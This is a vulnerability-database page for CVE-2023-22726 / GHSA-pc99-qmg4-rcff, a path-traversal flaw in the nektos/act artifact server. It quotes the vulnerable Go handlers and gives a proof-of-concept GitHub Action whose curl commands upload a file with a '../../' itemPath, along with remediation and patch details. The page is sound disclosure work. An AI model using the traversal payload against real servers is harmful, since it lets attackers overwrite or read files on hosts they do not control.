Vulnerability-Lookup

GHSA-PC99-QMG4-RCFF

Vulnerability from github – Published: 2023-01-20 16:00 – Updated: 2023-02-03 20:47

Summary

act vulnerable to arbitrary file upload in artifact server

Details

Impact

The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.

Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)

The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
        itemPath := req.URL.Query().Get("itemPath")
        runID := params.ByName("runId")

        if req.Header.Get("Content-Encoding") == "gzip" {
            itemPath += gzipExtension
        }

        filePath := fmt.Sprintf("%s/%s", runID, itemPath)

Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)

The /artifact endpoint is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.

router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
        path := params.ByName("path")[1:]

        file, err := fsys.Open(path)

Proof of Concept

Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.

When testing this POC, the --artifact-server-path parameter must be passed to act in order to enable the artifact server. Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.

name: CI
on: push

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Here are some secrets" > secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt

Remediation

During implementation of Open and OpenAtEnd for FS, please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
Clean the user-provided paths manually

Patches

Version 0.2.40 contains a patch.

Workarounds

Avoid use of artifact server with --artifact-server-path

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.39"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nektos/act"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-22726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-20T16:00:36Z",
    "nvd_published_at": "2023-01-20T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.\n\n\n#### Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)\nThe [/upload endpoint](https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#LL103C2-L103C2) is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.\n\n```\nrouter.PUT(\"/upload/:runId\", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {\n\t\titemPath := req.URL.Query().Get(\"itemPath\")\n\t\trunID := params.ByName(\"runId\")\n\n\t\tif req.Header.Get(\"Content-Encoding\") == \"gzip\" {\n\t\t\titemPath += gzipExtension\n\t\t}\n\n\t\tfilePath := fmt.Sprintf(\"%s/%s\", runID, itemPath)\n```\n\n#### Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)\nThe [/artifact endpoint](https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#L245) is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.\n\n```\nrouter.GET(\"/artifact/*path\", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {\n\t\tpath := params.ByName(\"path\")[1:]\n\n\t\tfile, err := fsys.Open(path)\n```\n\n#### Proof of Concept\nBelow I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.\n\nWhen testing this POC, the `--artifact-server-path` parameter must be passed to act in order to enable the artifact server.\nReplace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.\n\n```\nname: CI\non: push\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n    - run: echo \"Here are some secrets\" \u003e secret.txt\n    - run: curl http://\u003cyourIPandPort\u003e/upload/1?itemPath=secret.txt --upload-file secret.txt\n    - run: curl http://\u003cyourIPandPort\u003e/upload/1?itemPath=../../secret.txt --upload-file secret.txt\n```\n\n### Remediation\n1. During implementation of [Open and OpenAtEnd for FS](https://github.com/nektos/act/blob/master/pkg/artifacts/server.go#L65), please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS\n2. Clean the user-provided paths manually\n\n### Patches\nVersion 0.2.40 contains a patch.\n\n### Workarounds\nAvoid use of artifact server with `--artifact-server-path`",
  "id": "GHSA-pc99-qmg4-rcff",
  "modified": "2023-02-03T20:47:31Z",
  "published": "2023-01-20T16:00:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/security/advisories/GHSA-pc99-qmg4-rcff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22726"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/issues/1553"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/commit/63ae215071f94569d910964bdee866d91d6e3a10"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nektos/act"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/blob/master/pkg/artifacts/server.go#L65"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#L245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#LL103C2-L103C2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nektos/act/releases/tag/v0.2.40"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-004_act"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "act vulnerable to arbitrary file upload in artifact server"
}

CVE-2023-22726 (GCVE-0-2023-22726)

Vulnerability from cvelistv5 – Published: 2023-01-20 21:02 – Updated: 2025-03-10 21:21

Title

Unrestricted file upload leading to privilege escalation in act

Summary

act is a project which allows for local running of github actions. The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation. The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open. The /artifact endpoint is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server. This has been addressed in version 0.2.40. Users are advised to upgrade. Users unable to upgrade may, during implementation of Open and OpenAtEnd for FS, ensure to use ValidPath() to check against path traversal or clean the user-provided paths manually.

Severity ?

8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-434 - Unrestricted Upload of File with Dangerous Type

Assigner

GitHub_M

References

URL

Tags

	https://github.com/nektos/act/security/advisories…	x_refsource_CONFIRM
	https://github.com/nektos/act/issues/1553	x_refsource_MISC
	https://github.com/nektos/act/commit/63ae215071f9…	x_refsource_MISC
	https://github.com/nektos/act/blob/master/pkg/art…	x_refsource_MISC
	https://github.com/nektos/act/blob/v0.2.35/pkg/ar…	x_refsource_MISC
	https://github.com/nektos/act/blob/v0.2.35/pkg/ar…	x_refsource_MISC
	https://securitylab.github.com/advisories/GHSL-20…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	nektos	act	Affected: < 0.2.40

Show details on NVD website